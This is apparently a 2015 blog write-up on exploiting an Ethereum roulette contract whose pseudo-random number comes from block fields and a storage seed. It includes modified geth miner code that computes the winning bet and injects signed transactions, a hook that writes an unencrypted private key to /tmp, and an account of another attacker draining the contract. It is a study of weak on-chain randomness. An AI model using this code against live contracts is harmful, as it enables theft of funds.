Someone on reddit posted a Roulette-contract, source code here. It was a pretty naive implementation, and other redditors pointed out that it would be easy to beat the house.
The ‘random’ part was based on the following piece of sol:
// Returns a pseudo Random number.
function generateRand() private returns (uint) {
// Seeds
privSeed = (privSeed*3 + 1) / 2;
privSeed = privSeed % 10**9;
uint number = block.number; // ~ 10**5 ; 60000
uint diff = block.difficulty; // ~ 2 Tera = 2*10**12; 1731430114620
uint time = block.timestamp; // ~ 2 Giga = 2*10**9; 1439147273
uint gas = block.gaslimit; // ~ 3 Mega = 3*10**6
// Rand Number in Percent
uint total = privSeed + number + diff + time + gas;
uint rand = total % 37;
return rand;
}
This uses contextual variables, block.number
, block.timestamp
, block.difficulty
, block.gasLimit
and then a variable from the contract storage; privSeed
.
It can be invoked from geth
console like this:
var rouletteContract = web3.eth.contract([{"constant":true,"inputs":[],"name":"casinoBalance","outputs":[{"name":"","type":"uint256"}],"type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"casinoWithdraw","outputs":[],"type":"function"},{"constant":false,"inputs":[{"name":"number","type":"uint256"}],"name":"betOnNumber","outputs":[{"name":"","type":"string"}],"type":"function"},{"constant":false,"inputs":[],"name":"casinoDeposit","outputs":[],"type":"function"},{"constant":false,"inputs":[{"name":"color","type":"uint256"}],"name":"betOnColor","outputs":[{"name":"","type":"string"}],"type":"function"},{"constant":true,"inputs":[],"name":"welcome","outputs":[{"name":"","type":"string"}],"type":"function"},{"inputs":[],"type":"constructor"}]);
var roulette = rouletteContract.at('0x5fe5b7546d1628f7348b023a0393de1fc825a4fd');
roulette.welcome.call();
web3.fromWei(roulette.casinoBalance.call(), "ether");
roulette.betOnNumber.sendTransaction(num,{from: coinbase,value: web3.toWei(1, 'ether'), gas: 400000});
Someone suggested that the following simple javascript-solution would guess the valid number:
// Get seed
var seed = web3.toBigNumber(web3.eth.getStorageAt("0x5fe5b7546d1628f7348b023a0393de1fc825a4fd", 1);
// Calculate the random
var num = (Math.pow((~~(seed * 3 + 1) / 2) % 10), 9) + eth.getBlock("latest").number + eth.getBlock("latest").difficulty + eth.getBlock("latest").timestamp + eth.getBlock("latest").gasLimit) % 37
num = Math.floor(num);
//Bet
roulette.betOnNumber.sendTransaction(num,{from:coinbase,value: web3.toWei(1, 'ether'), gas: 400000});
However, this is not correct. The snippet above uses difficulty etc from the previous block, whereas the contract uses values from the current block it’s being executed within. So much for a simple solution.
The author posted the following comment:
As advised, I reduced my ETH holdings as a casino to 150 ETH. If somebody can crack the pseudo rand. generator please let us know how you did it and you may keep the balance as a consulting fee, not that you couldn’t otherwise but you know for peace of mind :)
So, the 150 ETH became a challenge, instead! It’s easy to say that miners can perform attacks, but I wanted to test just how difficult it was to actually perform such an attack.
When a block is created, a block header is created first of all. This happens in miner/worker.go:
func (self *worker) commitNewWork() {
[...]
tstart := time.Now()
parent := self.chain.CurrentBlock()
tstamp := tstart.Unix()
if tstamp <= int64(parent.Time()) {
tstamp = int64(parent.Time()) + 1
}
[...]
num := parent.Number()
header := &types.Header{
ParentHash: parent.Hash(),
Number: num.Add(num, common.Big1),
Difficulty: core.CalcDifficulty(uint64(tstamp), parent.Time(), parent.Number(), parent.Difficulty()),
GasLimit: core.CalcGasLimit(parent),
GasUsed: new(big.Int),
Coinbase: self.coinbase,
Extra: self.extra,
Time: uint64(tstamp),
}
transactions := self.eth.TxPool().GetTransactions()
sort.Sort(types.TxByPriceAndNonce{transactions})
After the header is created, the transactions to process are fetched from the transaction pool (TxPool). This looks like the correct place to add our malicious transactions. At this point, all the context-variables that we need are created (timestamp, difficulty and gaslimit).
So we’ll implement and additional function within the transaction pool, passing the block header along:
// This function makes it possible to include 'evil' transactions,
// which can use values within the current block header (timestamp, difficulty etc)
func (self *TxPool) GetEvilTransactions(blockHeader types.Header) (txs types.Transactions) {
//Create transaction
evilTx := self.createEvilTransaction(blockHeader)
//Add to pool
if evilTx != nil{
self.Add(evilTx)
}
//Use standard method to validate/deliver transactions
return self.GetTransactions()
}
func (self *TxPool) createEvilTransaction(blockHeader types.Header)(tx* types.Transaction){
return nil
}
Now, we still need to create the transaction. We’re now in the core parts of the transaction processor, and while it is simple to create the necessary transaction as an object, we still need to use the ‘user’-parts to sign it from a proper account.
Looking around a bit, it’s evident that the transaction needs an ecdsa key (prv
) :
tx, err := types.NewTransaction(nonce , toaddr, amount, gas, nil, payload).SignECDSA(prv)
Further investigation led me to the account manager, accessible via the Javascript interface. In there, there’s a method to export a private key (unencrypted). It’s not integrated with any cli-interface (yet) :
// USE WITH CAUTION = this will save an unencrypted private key on disk
// no cli or js interface
func (am *Manager) Export(path string, addr common.Address, keyAuth string) error {
key, err := am.keyStore.GetKey(addr, keyAuth)
if err != nil {
return err
}
return crypto.SaveECDSA(path, key.PrivateKey)
}
So, we’ll just hook that up, saving the private key to /tmp/privkey_test
whenever personal.unlockAccount(eth.accounts[1], password)
is called:
// Unlock unlocks the given account indefinitely.
func (am *Manager) Unlock(addr common.Address, keyAuth string) error {
fmt.Printf("Saving to /tmp/privkey_test");
am.Export("/tmp/privkey_test", addr, keyAuth);
return am.TimedUnlock(addr, keyAuth, 0)
}
So, with the key picked from the file I saved, now we can create the full signing code (worker.go):
key,err := crypto.HexToECDSA("<private_key_in_hex>")
if err != nil{
fmt.Printf("Unable to open key: %s" , err)
}
transactions := self.eth.TxPool().GetEvilTransactions(*header, key)
Also, filling in more details in the creation of the transaction:
func (self *TxPool) createEvilTransaction(blockHeader types.Header,prv *ecdsa.PrivateKey)(tx* types.Transaction){
if prv == nil{
return nil;
}
var toaddr = common.HexToAddress("5fe5b7546d1628f7348b023a0393de1fc825a4fd") //address
var amount = big.NewInt(1000000000000000000) //amount 1 ether
var gas = big.NewInt(400000)
var nonce uint64 = 2 //gen.TxNonce(benchRootAddr)
payload := common.FromHex("5808e1c20000000000000000000000000000000000000000000000000000000000000002")
tx, err := types.NewTransaction(nonce , toaddr, amount, gas, nil, payload).SignECDSA(prv)
if err != nil{
fmt.Printf("Error: %s", err)
return nil
}
fmt.Printf("Evil transaction created, but not added")
tx = nil
return tx
}
The payload
comes from here, the first time I tested the roulette function. I suspect that I’ll just need to replace the 02
in the end with whatever I want to bet on. I’ll need to verify this later.
Now, the framework for malicious transactions is in place, we’ll need to add the application logic. In order to know what bet to place, it’s not enough to only know the context-variables, we also need to know the seed value.
The pool has access to the statedb
(used to verify account balances). After some experimentation,
I found that the construction below works:
var casino = common.HexToAddress("5fe5b7546d1628f7348b023a0393de1fc825a4fd") //address
stateObject := self.currentState().GetStateObject(casino)
val := stateObject.GetState(common.HexToHash("01"))
privseed = big.NewInt(0).SetBytes(val.Bytes())
And then the calculation:
privseed.Mul(privseed,big.NewInt(3))
privseed.Add(privseed,big.NewInt(1))
privseed.Div(privseed,big.NewInt(2))
x := big.NewInt(1000000000)
privseed.Mod(privseed,x)
total := big.NewInt(0)
total.Add(total,privseed)
total.Add(total,blockHeader.Difficulty)
total.Add(total,big.NewInt(0).SetUint64(blockHeader.Time))
total.Add(total,blockHeader.GasLimit)
total.Mod(total,big.NewInt(37))
fmt.Printf("Calculated winner to %d", total.Uint64())
Now, we’ll just need to dunk our winning number into the transaction data above, wait until we successfully mine a block. One thing we need to take care of, however, is to ensure that the action of Add
ing the transaction to our own pool does not broadcast it over the network. That would be bad - we only want it included in our mined blocks, not to be picked up by another miner in the next block…
Once I got this far, ready to test my solution on a private test-net, I checked up on the Roulette.
> web3.fromWei(roulette.casinoBalance.call(), "ether");
'1'
The money were gone! Looking deeper into it, I saw that the last two invocations of the contract was done by me as I was testing the contract a few days ago.
At that time, the balance was 70, and became 71 with my additional ether. To further validate that, I looked at the VM-trace of the execution. Just before the invocation returns, the balance
, stored at contract.storage[3]
shows it is 71 ether :
And there are no transactions after that one! How can that be?
In order to solve this, I modified the block_processor:
func (self *BlockProcessor) ApplyTransactions(coinbase *state.StateObject, statedb *state.StateDB, block *types.Block, txs types.Transactions, transientProcess bool) (types.Receipts, error) {
[...]
prevb := big.NewInt(0)
prevseed := big.NewInt(0)
var casino = common.HexToAddress("5fe5b7546d1628f7348b023a0393de1fc825a4fd") //address
stateObject := statedb.GetStateObject(casino)
if stateObject != nil{
balance := stateObject.GetState(common.HexToHash("03"))
prevb = big.NewInt(0).SetBytes(balance.Bytes())
seed := stateObject.GetState(common.HexToHash("01"))
prevseed = big.NewInt(0).SetBytes(seed.Bytes())
}
for i, tx := range txs {
statedb.StartRecord(tx.Hash(), block.Hash(), i)
receipt, txGas, err := self.ApplyTransaction(coinbase, statedb, header, tx, totalUsedGas, transientProcess)
stateObject := statedb.GetStateObject(casino)
if stateObject != nil{
balance := stateObject.GetState(common.HexToHash("03"))
seed := stateObject.GetState(common.HexToHash("01"))
num_balance := big.NewInt(0).SetBytes(balance.Bytes())
num_seed := big.NewInt(0).SetBytes(seed.Bytes())
if(prevb.Cmp(num_balance) != 0){
fmt.Printf("Balance: %v \n" , num_balance)
fmt.Printf("Seed: %v -> %v \n", prevseed, num_seed)
fmt.Printf("Tx: %v " , tx.String())
}
x := big.NewInt(100000000)
x = x.Mul(x,big.NewInt(10000000000))
if num_balance.Cmp(x) == 0{
// fmt.Printf("This tx is the killer")
}
prevb = num_balance
prevseed = num_seed
}
For every transaction imported, the geth client would check the balance
. If the balance was changed by a tx, it would print out the new value, and halting everything once the final value of 1 eth was reached. This way, I could see that two transactions claimed 36 eth each; the last transaction is cfb9c58f1b143c8e62340ca7bc0bc4d68ff967fb2fb8d9f13609d651a693a6f0
That transaction does not invoke the ‘casino’-contract, but instead another contract at bcd159845b81e35a0b5aff57feccd0b3114791ab. The sender is 7cfa3d23636173a3befaabc8ca86846a07c4b3dd.
It’s another contract invocation. The sender simply invokes his own contract. The malicious contract has access to the same context-variables from the block header (timestamp, difficulty etc). Then the contract simply invokes the casino contract. Pretty nice way to do it!
So how does it get the privSeed
? The seed at this point was 4658031 (and became 6987048). 4658031 is 47136F in hex, which can be seen as input below, also here
Since contracts can’t read each others data storage, the attacker fetches the privseed
manually, passes it to his contract which has access to the block secreats, and voila - he can break the bank! It’s a very neat solution, since the attacker he does not have to mine a block.
Way to go, 7cfa3d23636173a3befaabc8ca86846a07c4b3dd!
It would be great if the different ethereum-chain explorers out there would implement functionality to see not just sender and recipient for a transaction, but also state-modifications; this would make it a lot simpler to investigate flow of ether and data. Right now, transactions from contracts are a bit of a black hole.
2015-08-14